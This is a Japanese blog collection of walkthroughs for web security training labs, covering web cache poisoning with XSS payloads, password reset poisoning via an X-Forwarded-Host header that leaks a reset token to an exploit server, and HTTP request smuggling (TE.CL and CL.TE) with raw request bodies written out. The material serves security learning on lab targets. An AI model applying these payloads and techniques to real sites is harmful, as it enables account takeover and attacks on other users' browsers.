shikata ga nai

Private? There is no such things.

Web cache poisoning via an unkeyed query parameterをやってみた

Hello there, ('ω')ノ

 

キーなしクエリパラメータによるWebキャッシュポイズニングを。

このラボは 、 Webキャッシュポイズニングに対して脆弱で。

キャッシュキーから特定のパラメーターを除外しているためだとか。

ユーザは、Chromeを使用してこのサイトのホームページに定期的にアクセスして。

ラボを解決するには、実行される応答でキャッシュをポイズニングせよとのことで。

まずは、ページにアクセスして。

 

f:id:ThisIsOne:20210418170341p:plain

 

リクエストをリピータへ。

 

f:id:ThisIsOne:20210418170411p:plain

 

クエリパラメータを変更するとX-Cache: missとなるので。

これが、キャッシュキーの一部だとわかって。

さらには、クエリパラメータがレスポンスに反映されて。

 

f:id:ThisIsOne:20210418170616p:plain

 

ParamMinerのGuessGETparameters機能をクリックして。

 

f:id:ThisIsOne:20210418170657p:plain

 

OKを。

 

f:id:ThisIsOne:20210418170724p:plain

 

ダッシュボードを見るとutm_contentパラメータがサポートされていているので。

 

f:id:ThisIsOne:20210418172207p:plain

 

下記のペイロードに置き換えてSendして。

 GET /?utm_content='/><script>alert(1)</script>

 

ペイロードがキャッシュされたこととペイロードの反映を確認して。

 

f:id:ThisIsOne:20210418173942p:plain


リロードすると、スクリプトが実行されて。

f:id:ThisIsOne:20210418172513p:plain

 

クリアできた。

 

f:id:ThisIsOne:20210418172541p:plain


Best regards, (^^ゞ

Password reset poisoning via middlewareをやってみた

Hello there, ('ω')ノ

 

ミドルウェアを介したパスワードリセットポイズニングを。

 

このラボは、パスワードリセットポイズニングに対して脆弱で。

ラボを解決するには、Carlosのアカウントにログインすることで。

 

f:id:ThisIsOne:20210415190743p:plain

 

f:id:ThisIsOne:20210415190810p:plain

 

f:id:ThisIsOne:20210417211547p:plain

 

f:id:ThisIsOne:20210417173141p:plain

 

リンクをクリックして。

 

f:id:ThisIsOne:20210417211415p:plain

 

f:id:ThisIsOne:20210417211455p:plain

 

変更できる流れで。

 

f:id:ThisIsOne:20210417172825p:plain

 

まずは、リクエストをリピータへ。

 

f:id:ThisIsOne:20210417183449p:plain

 

はじめに下記のヘッダを追加してSendすると。

 X-Forwarded-Host: exp.com

 

f:id:ThisIsOne:20210417180720p:plain

 

メールのリンクのURLに反映されて。

 どうやらX-Forwarded-Host ヘッダがサポートされているようで。

 

f:id:ThisIsOne:20210417180658p:plain

 

次にエクスプロイトサーバのURLをコピーして。

 

f:id:ThisIsOne:20210417183229p:plain

 

エクスプロイトサーバのURLを指定してSendしても。

 

f:id:ThisIsOne:20210417180827p:plain

 

メールのURLに反映されるので。

 

f:id:ThisIsOne:20210417180856p:plain

 

ユーザをcarlosに変更してSendして。

 

f:id:ThisIsOne:20210417180949p:plain

 

ログからトークンを取得して。

 /forgot-password?temp-forgot-password-token=HIz1N8v9tJfknnN0rt2q2RyDaehc64Fe

 

f:id:ThisIsOne:20210417182448p:plain

 

さきほどのメールのリンクのURLに。


https://acad1f981e436214804a1e310097001f.web-security-academy.net/forgot-password?temp-forgot-password-token=xNDu8hbFuW8pCn0VmHPUG1NkNHYQSium

 

f:id:ThisIsOne:20210417182605p:plain

 

ログで取得したトークンを入れ替えてアクセスして。

パスワードを変更して。


https://acad1f981e436214804a1e310097001f.web-security-academy.net
/forgot-password?temp-forgot-password-token=HIz1N8v9tJfknnN0rt2q2RyDaehc64Fe

 

f:id:ThisIsOne:20210417182359p:plain

 

ログインするとクリアできた。

 

f:id:ThisIsOne:20210417182422p:plain

 

Best regards, (^^ゞ

 

Web cache poisoning via an unkeyed query stringをやってみた

 Hello there, ('ω')ノ

 

キーなしクエリ文字列によるWebキャッシュポイズニングを。

 

このラボは Webキャッシュポイズニングに対して脆弱で。

クエリ文字列にキーが設定されていないとか。

ユーザは、このサイトのホームページに定期的にアクセスして。

 

ラボを解決するには、被害者のブラウザでalert(1)を実行する応答で。

ホームページをポイズニングするとのことで。

 

まずは、ページにアクセスして。

 

f:id:ThisIsOne:20210416073816p:plain

 

リクエストをリピータへ。

 

f:id:ThisIsOne:20210416073853p:plain

 

適当にクエリパラメータを挿入してSendすると。

クエリパラメータが変更されているものの。

リクエストは下記のとおりで、キャッシュキーにふくまれていなくて。

 X-Cache: hit

 

f:id:ThisIsOne:20210416074015p:plain

 

ここで、Originヘッダをキャッシュバスターとして追加してSendすると。

レスポンスが返ってこなくて。

とりあえず、Canselして削除して。

 

f:id:ThisIsOne:20210417102559p:plain

 

次にパラメータをXSSペイロードに変更してSendし続けると。

 GET /?evil='/><script>alert(1)</script>

 

下記のレスポンスが返ってきてペイロードリクエストの反映されて。

 X-Cache: hit

 

これがキャッシュとして残っているので。

ホームページをロードすると。

つまり、他のユーザがアクセスすると被害にあうわけで。

 

f:id:ThisIsOne:20210416074122p:plain

 

クリアできた。

 

f:id:ThisIsOne:20210416074146p:plain

  

 Best regards, (^^ゞ

HTTP request smuggling, confirming a TE.CL vulnerability via differential responsesをやってみた

Hello there, ('ω')ノ

 

HTTPリクエストスマグリング、差分応答によるTE.CLの脆弱性の確認を。

このラボには、フロントエンドサーバとバックエンドサーバがあって。

バックエンドサーバは、チャンクエンコーディングをサポートしていないとのことで。

リクエストスマグリングをバックエンドサーバに。

次のリクエストが / (Webルート)が404答コードを与えることを確認しなさいと。

 

悪用するヒントは、下記のとおりで。

 最後の0の後に\ r \ n \ r \ nを含めて。

 Burp Repeaterの「UpdateContent-Length」オプションのチェックを外して。

 

まずは、ページにアクセスして。

 

f:id:ThisIsOne:20210414081648p:plain


リクエストをリピータへ。

 

f:id:ThisIsOne:20210414081738p:plain

 

f:id:ThisIsOne:20210414081810p:plain

 

下記と入れ替えて。

 

Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked

5e
POST /404 HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0

 

f:id:ThisIsOne:20210414081923p:plain

 

UpdateContent-Lengthをオフにしてから。

そうしないと数値が変わってしまうので。

POSTメソッドに変更して、Sendして。


f:id:ThisIsOne:20210414082440p:plain

 

f:id:ThisIsOne:20210414082507p:plain

 

再度、Sendすると。

 

f:id:ThisIsOne:20210414082532p:plain

 

クリアできた。

 

f:id:ThisIsOne:20210414082606p:plain

 

リクエストスマグリング攻撃の長さフィールドを手動で修正するのは難しいので。

Burp拡張機能のHTTPRequest Smugglerが役立つようで。

またの機会にでも使ってみようかと。

 

f:id:ThisIsOne:20210414083549p:plain

 

Best regards, (^^ゞ

HTTP request smuggling, confirming a CL.TE vulnerability via differential responsesをやってみた

Hello there, ('ω')ノ

 

HTTPリクエストスマグリング、差分応答によるCL.TEの脆弱性の確認を。

 

このラボにはフロントエンドサーバとバックエンドサーバーが含まれて。

フロントエンドサーバはチャンクエンコーディングをサポートしていないらしく。

リクエストスマグリングをバックエンドサーバに。

後続のリクエストが / (Webルート)は404 NotFound応答をトリガするとのこと。

 

Content-Length:

 リクエスト本文のサイズ(バイト単位)

 

Transfer-Encoding:

 リクエスト本文がチャンクで送信されるようにチャンクとして指定され。

 (改行で区切られ)

 0はチャンクを終了するために使用されて。

 

まずは、ページにアクセスして。

 

f:id:ThisIsOne:20210413161045p:plain

 

リクエストをリピータへ。

 

f:id:ThisIsOne:20210413161018p:plain

 

下記に入れ替えて、Sendするとエラーが。

Content-Type: application/x-www-form-urlencoded
Content-Length: 35
Transfer-Encoding: chunked

 

0

 

GET /404 HTTP/1.1
X-Ignore: X

 

f:id:ThisIsOne:20210413160726p:plain

 

GETをPOSTに変更してSendして。

 

f:id:ThisIsOne:20210413160803p:plain

 

f:id:ThisIsOne:20210413162039p:plain

 

再度、Sendすると404 NotFoundが返ってきて。

 

f:id:ThisIsOne:20210413160831p:plain

 

クリアできた。

 

f:id:ThisIsOne:20210413160859p:plain

 

Best regards, (^^ゞ

ひとりひとりの自覚をもった行動で、医療従事者と保健所職員を助けよう。

f:id:ThisIsOne:20200404115457p:plain